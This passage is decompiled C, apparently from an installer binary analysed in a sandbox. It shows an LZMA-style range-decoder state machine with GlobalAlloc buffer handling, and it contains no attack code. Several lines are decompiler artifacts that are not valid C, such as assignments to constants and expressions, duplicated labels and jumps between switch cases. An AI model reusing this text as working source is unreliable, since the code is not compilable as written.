					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M0040684B))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
